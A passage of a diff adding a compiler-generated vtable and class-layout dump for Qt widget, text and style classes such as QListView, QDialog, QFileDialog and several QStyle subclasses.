+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QListView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QListView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QListView::paintEvent
+128 QWidget::moveEvent
+132 QListView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QListView::dragMoveEvent
+160 QListView::dragLeaveEvent
+164 QListView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QListView::scrollContentsBy
+232 QAbstractItemView::setModel
+236 QAbstractItemView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QListView::visualRect
+248 QListView::scrollTo
+252 QListView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QAbstractItemView::sizeHintForColumn
+264 QListView::reset
+268 QListView::setRootIndex
+272 QListView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QListView::dataChanged
+284 QListView::rowsInserted
+288 QListView::rowsAboutToBeRemoved
+292 QListView::selectionChanged
+296 QListView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QListView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QAbstractItemView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QListView::moveCursor
+344 QListView::horizontalOffset
+348 QListView::verticalOffset
+352 QListView::isIndexHidden
+356 QListView::setSelection
+360 QListView::visualRegionForSelection
+364 QListView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QListView::startDrag
+380 QListView::viewOptions
+384 (int (*)(...))-0x000000008
+388 (int (*)(...))(& _ZTI9QListView)
+392 QListView::_ZThn8_N9QListViewD1Ev
+396 QListView::_ZThn8_N9QListViewD0Ev
+400 QWidget::_ZThn8_NK7QWidget7devTypeEv
+404 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+408 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QListView
+ size=20 align=4
+ base size=20 base align=4
+QListView (0xb2e91840) 0
+ vptr=((& QListView::_ZTV9QListView) + 8u)
+ QAbstractItemView (0xb2e91880) 0
+ primary-for QListView (0xb2e91840)
+ QAbstractScrollArea (0xb2e918c0) 0
+ primary-for QAbstractItemView (0xb2e91880)
+ QFrame (0xb2e91900) 0
+ primary-for QAbstractScrollArea (0xb2e918c0)
+ QWidget (0xb2d16050) 0
+ primary-for QFrame (0xb2e91900)
+ QObject (0xb2e74b04) 0
+ primary-for QWidget (0xb2d16050)
+ QPaintDevice (0xb2e74b40) 8
+ vptr=((& QListView::_ZTV9QListView) + 392u)
+
+Vtable for QUndoView
+QUndoView::_ZTV9QUndoView: 103u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QUndoView)
+8 QUndoView::metaObject
+12 QUndoView::qt_metacast
+16 QUndoView::qt_metacall
+20 QUndoView::~QUndoView
+24 QUndoView::~QUndoView
+28 QListView::event
+32 QObject::eventFilter
+36 QListView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QListView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QListView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QListView::paintEvent
+128 QWidget::moveEvent
+132 QListView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QListView::dragMoveEvent
+160 QListView::dragLeaveEvent
+164 QListView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QListView::scrollContentsBy
+232 QAbstractItemView::setModel
+236 QAbstractItemView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QListView::visualRect
+248 QListView::scrollTo
+252 QListView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QAbstractItemView::sizeHintForColumn
+264 QListView::reset
+268 QListView::setRootIndex
+272 QListView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QListView::dataChanged
+284 QListView::rowsInserted
+288 QListView::rowsAboutToBeRemoved
+292 QListView::selectionChanged
+296 QListView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QListView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QAbstractItemView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QListView::moveCursor
+344 QListView::horizontalOffset
+348 QListView::verticalOffset
+352 QListView::isIndexHidden
+356 QListView::setSelection
+360 QListView::visualRegionForSelection
+364 QListView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QListView::startDrag
+380 QListView::viewOptions
+384 (int (*)(...))-0x000000008
+388 (int (*)(...))(& _ZTI9QUndoView)
+392 QUndoView::_ZThn8_N9QUndoViewD1Ev
+396 QUndoView::_ZThn8_N9QUndoViewD0Ev
+400 QWidget::_ZThn8_NK7QWidget7devTypeEv
+404 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+408 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QUndoView
+ size=20 align=4
+ base size=20 base align=4
+QUndoView (0xb2e91c00) 0
+ vptr=((& QUndoView::_ZTV9QUndoView) + 8u)
+ QListView (0xb2e91c40) 0
+ primary-for QUndoView (0xb2e91c00)
+ QAbstractItemView (0xb2e91c80) 0
+ primary-for QListView (0xb2e91c40)
+ QAbstractScrollArea (0xb2e91cc0) 0
+ primary-for QAbstractItemView (0xb2e91c80)
+ QFrame (0xb2e91d00) 0
+ primary-for QAbstractScrollArea (0xb2e91cc0)
+ QWidget (0xb2d32320) 0
+ primary-for QFrame (0xb2e91d00)
+ QObject (0xb2e74d5c) 0
+ primary-for QWidget (0xb2d32320)
+ QPaintDevice (0xb2e74d98) 8
+ vptr=((& QUndoView::_ZTV9QUndoView) + 392u)
+
+Class QStaticText
+ size=4 align=4
+ base size=4 base align=4
+QStaticText (0xb2e74fb4) 0
+
+Vtable for QSyntaxHighlighter
+QSyntaxHighlighter::_ZTV18QSyntaxHighlighter: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QSyntaxHighlighter)
+8 QSyntaxHighlighter::metaObject
+12 QSyntaxHighlighter::qt_metacast
+16 QSyntaxHighlighter::qt_metacall
+20 QSyntaxHighlighter::~QSyntaxHighlighter
+24 QSyntaxHighlighter::~QSyntaxHighlighter
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+
+Class QSyntaxHighlighter
+ size=8 align=4
+ base size=8 base align=4
+QSyntaxHighlighter (0xb2d53180) 0
+ vptr=((& QSyntaxHighlighter::_ZTV18QSyntaxHighlighter) + 8u)
+ QObject (0xb2d4c0f0) 0
+ primary-for QSyntaxHighlighter (0xb2d53180)
+
+Class QTextDocumentFragment
+ size=4 align=4
+ base size=4 base align=4
+QTextDocumentFragment (0xb2d4c30c) 0
+
+Class QTextDocumentWriter
+ size=4 align=4
+ base size=4 base align=4
+QTextDocumentWriter (0xb2d4c348) 0
+
+Vtable for QTextList
+QTextList::_ZTV9QTextList: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QTextList)
+8 QTextList::metaObject
+12 QTextList::qt_metacast
+16 QTextList::qt_metacall
+20 QTextList::~QTextList
+24 QTextList::~QTextList
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QTextBlockGroup::blockInserted
+60 QTextBlockGroup::blockRemoved
+64 QTextBlockGroup::blockFormatChanged
+
+Class QTextList
+ size=8 align=4
+ base size=8 base align=4
+QTextList (0xb2d534c0) 0
+ vptr=((& QTextList::_ZTV9QTextList) + 8u)
+ QTextBlockGroup (0xb2d53500) 0
+ primary-for QTextList (0xb2d534c0)
+ QTextObject (0xb2d53540) 0
+ primary-for QTextBlockGroup (0xb2d53500)
+ QObject (0xb2d4c384) 0
+ primary-for QTextObject (0xb2d53540)
+
+Class QTextTableCell
+ size=8 align=4
+ base size=8 base align=4
+QTextTableCell (0xb2d4c960) 0
+
+Vtable for QTextTable
+QTextTable::_ZTV10QTextTable: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTextTable)
+8 QTextTable::metaObject
+12 QTextTable::qt_metacast
+16 QTextTable::qt_metacall
+20 QTextTable::~QTextTable
+24 QTextTable::~QTextTable
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QTextTable
+ size=8 align=4
+ base size=8 base align=4
+QTextTable (0xb2d87040) 0
+ vptr=((& QTextTable::_ZTV10QTextTable) + 8u)
+ QTextFrame (0xb2d87080) 0
+ primary-for QTextTable (0xb2d87040)
+ QTextObject (0xb2d870c0) 0
+ primary-for QTextFrame (0xb2d87080)
+ QObject (0xb2d861e0) 0
+ primary-for QTextObject (0xb2d870c0)
+
+Vtable for QCommonStyle
+QCommonStyle::_ZTV12QCommonStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QCommonStyle)
+8 QCommonStyle::metaObject
+12 QCommonStyle::qt_metacast
+16 QCommonStyle::qt_metacall
+20 QCommonStyle::~QCommonStyle
+24 QCommonStyle::~QCommonStyle
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QCommonStyle::polish
+60 QCommonStyle::unpolish
+64 QCommonStyle::polish
+68 QCommonStyle::unpolish
+72 QCommonStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QStyle::standardPalette
+96 QCommonStyle::drawPrimitive
+100 QCommonStyle::drawControl
+104 QCommonStyle::subElementRect
+108 QCommonStyle::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QCommonStyle::subControlRect
+120 QCommonStyle::pixelMetric
+124 QCommonStyle::sizeFromContents
+128 QCommonStyle::styleHint
+132 QCommonStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QCommonStyle
+ size=8 align=4
+ base size=8 base align=4
+QCommonStyle (0xb2d87680) 0
+ vptr=((& QCommonStyle::_ZTV12QCommonStyle) + 8u)
+ QStyle (0xb2d876c0) 0
+ primary-for QCommonStyle (0xb2d87680)
+ QObject (0xb2d86744) 0
+ primary-for QStyle (0xb2d876c0)
+
+Vtable for QMotifStyle
+QMotifStyle::_ZTV11QMotifStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QMotifStyle)
+8 QMotifStyle::metaObject
+12 QMotifStyle::qt_metacast
+16 QMotifStyle::qt_metacall
+20 QMotifStyle::~QMotifStyle
+24 QMotifStyle::~QMotifStyle
+28 QMotifStyle::event
+32 QMotifStyle::eventFilter
+36 QMotifStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QMotifStyle::polish
+60 QMotifStyle::unpolish
+64 QMotifStyle::polish
+68 QMotifStyle::unpolish
+72 QMotifStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QMotifStyle::standardPalette
+96 QMotifStyle::drawPrimitive
+100 QMotifStyle::drawControl
+104 QMotifStyle::subElementRect
+108 QMotifStyle::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QMotifStyle::subControlRect
+120 QMotifStyle::pixelMetric
+124 QMotifStyle::sizeFromContents
+128 QMotifStyle::styleHint
+132 QMotifStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QMotifStyle
+ size=16 align=4
+ base size=13 base align=4
+QMotifStyle (0xb2d87980) 0
+ vptr=((& QMotifStyle::_ZTV11QMotifStyle) + 8u)
+ QCommonStyle (0xb2d879c0) 0
+ primary-for QMotifStyle (0xb2d87980)
+ QStyle (0xb2d87a00) 0
+ primary-for QCommonStyle (0xb2d879c0)
+ QObject (0xb2d86960) 0
+ primary-for QStyle (0xb2d87a00)
+
+Vtable for QCDEStyle
+QCDEStyle::_ZTV9QCDEStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QCDEStyle)
+8 QCDEStyle::metaObject
+12 QCDEStyle::qt_metacast
+16 QCDEStyle::qt_metacall
+20 QCDEStyle::~QCDEStyle
+24 QCDEStyle::~QCDEStyle
+28 QMotifStyle::event
+32 QMotifStyle::eventFilter
+36 QMotifStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QMotifStyle::polish
+60 QMotifStyle::unpolish
+64 QMotifStyle::polish
+68 QMotifStyle::unpolish
+72 QMotifStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QCDEStyle::standardPalette
+96 QCDEStyle::drawPrimitive
+100 QCDEStyle::drawControl
+104 QMotifStyle::subElementRect
+108 QMotifStyle::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QMotifStyle::subControlRect
+120 QCDEStyle::pixelMetric
+124 QMotifStyle::sizeFromContents
+128 QMotifStyle::styleHint
+132 QMotifStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QCDEStyle
+ size=16 align=4
+ base size=13 base align=4
+QCDEStyle (0xb2d87d00) 0
+ vptr=((& QCDEStyle::_ZTV9QCDEStyle) + 8u)
+ QMotifStyle (0xb2d87d40) 0
+ primary-for QCDEStyle (0xb2d87d00)
+ QCommonStyle (0xb2d87d80) 0
+ primary-for QMotifStyle (0xb2d87d40)
+ QStyle (0xb2d87dc0) 0
+ primary-for QCommonStyle (0xb2d87d80)
+ QObject (0xb2d86bb8) 0
+ primary-for QStyle (0xb2d87dc0)
+
+Vtable for QWindowsStyle
+QWindowsStyle::_ZTV13QWindowsStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QWindowsStyle)
+8 QWindowsStyle::metaObject
+12 QWindowsStyle::qt_metacast
+16 QWindowsStyle::qt_metacall
+20 QWindowsStyle::~QWindowsStyle
+24 QWindowsStyle::~QWindowsStyle
+28 QObject::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWindowsStyle::polish
+60 QWindowsStyle::unpolish
+64 QWindowsStyle::polish
+68 QWindowsStyle::unpolish
+72 QWindowsStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QStyle::standardPalette
+96 QWindowsStyle::drawPrimitive
+100 QWindowsStyle::drawControl
+104 QWindowsStyle::subElementRect
+108 QWindowsStyle::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QCommonStyle::subControlRect
+120 QWindowsStyle::pixelMetric
+124 QWindowsStyle::sizeFromContents
+128 QWindowsStyle::styleHint
+132 QWindowsStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QWindowsStyle
+ size=12 align=4
+ base size=12 base align=4
+QWindowsStyle (0xb2dcf000) 0
+ vptr=((& QWindowsStyle::_ZTV13QWindowsStyle) + 8u)
+ QCommonStyle (0xb2dcf040) 0
+ primary-for QWindowsStyle (0xb2dcf000)
+ QStyle (0xb2dcf080) 0
+ primary-for QCommonStyle (0xb2dcf040)
+ QObject (0xb2d86ce4) 0
+ primary-for QStyle (0xb2dcf080)
+
+Vtable for QCleanlooksStyle
+QCleanlooksStyle::_ZTV16QCleanlooksStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QCleanlooksStyle)
+8 QCleanlooksStyle::metaObject
+12 QCleanlooksStyle::qt_metacast
+16 QCleanlooksStyle::qt_metacall
+20 QCleanlooksStyle::~QCleanlooksStyle
+24 QCleanlooksStyle::~QCleanlooksStyle
+28 QObject::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QCleanlooksStyle::polish
+60 QCleanlooksStyle::unpolish
+64 QCleanlooksStyle::polish
+68 QCleanlooksStyle::unpolish
+72 QCleanlooksStyle::polish
+76 QStyle::itemTextRect
+80 QCleanlooksStyle::itemPixmapRect
+84 QCleanlooksStyle::drawItemText
+88 QCleanlooksStyle::drawItemPixmap
+92 QCleanlooksStyle::standardPalette
+96 QCleanlooksStyle::drawPrimitive
+100 QCleanlooksStyle::drawControl
+104 QCleanlooksStyle::subElementRect
+108 QCleanlooksStyle::drawComplexControl
+112 QCleanlooksStyle::hitTestComplexControl
+116 QCleanlooksStyle::subControlRect
+120 QCleanlooksStyle::pixelMetric
+124 QCleanlooksStyle::sizeFromContents
+128 QCleanlooksStyle::styleHint
+132 QCleanlooksStyle::standardPixmap
+136 QCleanlooksStyle::generatedIconPixmap
+
+Class QCleanlooksStyle
+ size=12 align=4
+ base size=12 base align=4
+QCleanlooksStyle (0xb2dcf340) 0
+ vptr=((& QCleanlooksStyle::_ZTV16QCleanlooksStyle) + 8u)
+ QWindowsStyle (0xb2dcf380) 0
+ primary-for QCleanlooksStyle (0xb2dcf340)
+ QCommonStyle (0xb2dcf3c0) 0
+ primary-for QWindowsStyle (0xb2dcf380)
+ QStyle (0xb2dcf400) 0
+ primary-for QCommonStyle (0xb2dcf3c0)
+ QObject (0xb2d86f00) 0
+ primary-for QStyle (0xb2dcf400)
+
+Vtable for QDialog
+QDialog::_ZTV7QDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QDialog)
+8 QDialog::metaObject
+12 QDialog::qt_metacast
+16 QDialog::qt_metacall
+20 QDialog::~QDialog
+24 QDialog::~QDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI7QDialog)
+244 QDialog::_ZThn8_N7QDialogD1Ev
+248 QDialog::_ZThn8_N7QDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDialog
+ size=20 align=4
+ base size=20 base align=4
+QDialog (0xb2dcf6c0) 0
+ vptr=((& QDialog::_ZTV7QDialog) + 8u)
+ QWidget (0xb2dea8c0) 0
+ primary-for QDialog (0xb2dcf6c0)
+ QObject (0xb2df212c) 0
+ primary-for QWidget (0xb2dea8c0)
+ QPaintDevice (0xb2df2168) 8
+ vptr=((& QDialog::_ZTV7QDialog) + 244u)
+
+Vtable for QFileDialog
+QFileDialog::_ZTV11QFileDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QFileDialog)
+8 QFileDialog::metaObject
+12 QFileDialog::qt_metacast
+16 QFileDialog::qt_metacall
+20 QFileDialog::~QFileDialog
+24 QFileDialog::~QFileDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QFileDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFileDialog::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QFileDialog::done
+228 QFileDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI11QFileDialog)
+244 QFileDialog::_ZThn8_N11QFileDialogD1Ev
+248 QFileDialog::_ZThn8_N11QFileDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QFileDialog
+ size=20 align=4
+ base size=20 base align=4
+QFileDialog (0xb2dcf980) 0
+ vptr=((& QFileDialog::_ZTV11QFileDialog) + 8u)
+ QDialog (0xb2dcf9c0) 0
+ primary-for QFileDialog (0xb2dcf980)
+ QWidget (0xb2e04550) 0
+ primary-for QDialog (0xb2dcf9c0)
+ QObject (0xb2df2384) 0
+ primary-for QWidget (0xb2e04550)
+ QPaintDevice (0xb2df23c0) 8
+ vptr=((& QFileDialog::_ZTV11QFileDialog) + 244u)
+
+Vtable for QGtkStyle
+QGtkStyle::_ZTV9QGtkStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QGtkStyle)
+8 QGtkStyle::metaObject
+12 QGtkStyle::qt_metacast
+16 QGtkStyle::qt_metacall
+20 QGtkStyle::~QGtkStyle
+24 QGtkStyle::~QGtkStyle
+28 QObject::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGtkStyle::polish
+60 QGtkStyle::unpolish
+64 QGtkStyle::polish
+68 QGtkStyle::unpolish
+72 QGtkStyle::polish
+76 QStyle::itemTextRect
+80 QGtkStyle::itemPixmapRect
+84 QGtkStyle::drawItemText
+88 QGtkStyle::drawItemPixmap
+92 QGtkStyle::standardPalette
+96 QGtkStyle::drawPrimitive
+100 QGtkStyle::drawControl
+104 QGtkStyle::subElementRect
+108 QGtkStyle::drawComplexControl
+112 QGtkStyle::hitTestComplexControl
+116 QGtkStyle::subControlRect
+120 QGtkStyle::pixelMetric
+124 QGtkStyle::sizeFromContents
+128 QGtkStyle::styleHint
+132 QGtkStyle::standardPixmap
+136 QGtkStyle::generatedIconPixmap
+
+Class QGtkStyle
+ size=12 align=4
+ base size=12 base align=4
+QGtkStyle (0xb2c392c0) 0
+ vptr=((& QGtkStyle::_ZTV9QGtkStyle) + 8u)
+ QCleanlooksStyle (0xb2c39300) 0
+ primary-for QGtkStyle (0xb2c392c0)
+ QWindowsStyle (0xb2c39340) 0
+ primary-for QCleanlooksStyle (0xb2c39300)
+ QCommonStyle (0xb2c39380) 0
+ primary-for QWindowsStyle (0xb2c39340)
+ QStyle (0xb2c393c0) 0
+ primary-for QCommonStyle (0xb2c39380)
+ QObject (0xb2df2a50) 0
+ primary-for QStyle (0xb2c393c0)
+
+Vtable for QPlastiqueStyle
+QPlastiqueStyle::_ZTV15QPlastiqueStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QPlastiqueStyle)
+8 QPlastiqueStyle::metaObject
+12 QPlastiqueStyle::qt_metacast
+16 QPlastiqueStyle::qt_metacall
+20 QPlastiqueStyle::~QPlastiqueStyle
+24 QPlastiqueStyle::~QPlastiqueStyle
+28 QObject::event
+32 QPlastiqueStyle::eventFilter
+36 QPlastiqueStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QPlastiqueStyle::polish
+60 QPlastiqueStyle::unpolish
+64 QPlastiqueStyle::polish
+68 QPlastiqueStyle::unpolish
+72 QPlastiqueStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QPlastiqueStyle::standardPalette
+96 QPlastiqueStyle::drawPrimitive
+100 QPlastiqueStyle::drawControl
+104 QPlastiqueStyle::subElementRect
+108 QPlastiqueStyle::drawComplexControl
+112 QPlastiqueStyle::hitTestComplexControl
+116 QPlastiqueStyle::subControlRect
+120 QPlastiqueStyle::pixelMetric
+124 QPlastiqueStyle::sizeFromContents
+128 QPlastiqueStyle::styleHint
+132 QPlastiqueStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QPlastiqueStyle
+ size=16 align=4
+ base size=16 base align=4
+QPlastiqueStyle (0xb2c39680) 0
+ vptr=((& QPlastiqueStyle::_ZTV15QPlastiqueStyle) + 8u)
+ QWindowsStyle (0xb2c396c0) 0
+ primary-for QPlastiqueStyle (0xb2c39680)
+ QCommonStyle (0xb2c39700) 0
+ primary-for QWindowsStyle (0xb2c396c0)
+ QStyle (0xb2c39740) 0
+ primary-for QCommonStyle (0xb2c39700)
+ QObject (0xb2df2c6c) 0
+ primary-for QStyle (0xb2c39740)
+
+Vtable for QProxyStyle
+QProxyStyle::_ZTV11QProxyStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QProxyStyle)
